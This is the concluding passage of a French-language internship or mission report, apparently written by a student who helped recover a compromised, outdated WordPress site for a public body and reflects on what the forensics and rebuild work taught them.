Cette mission critique m'a confronté à une situation réelle de cyberattaque sur une infrastructure publique. Elle a nécessité une approche méthodique, de la patience, et une capacité à prendre des décisions stratégiques rapidement.
J'ai appris que la sécurité n'est jamais acquise : un site WordPress obsolète est une cible facile pour les attaquants. La mise à jour régulière et le durcissement de la sécurité sont des impératifs absolus.
La reconstruction complète du site m'a permis de maîtriser l'ensemble de la chaîne : forensique, décontamination, migration, développement web, sécurité système. C'est une expérience professionnelle intense et formatrice.
Cette mission conforte mon orientation vers les métiers de la cybersécurité et de l'administration système sécurisée.
Remerciements : Je tiens à remercier l'équipe CEOS-IT pour leur confiance et leur accompagnement sur cette mission stratégique.

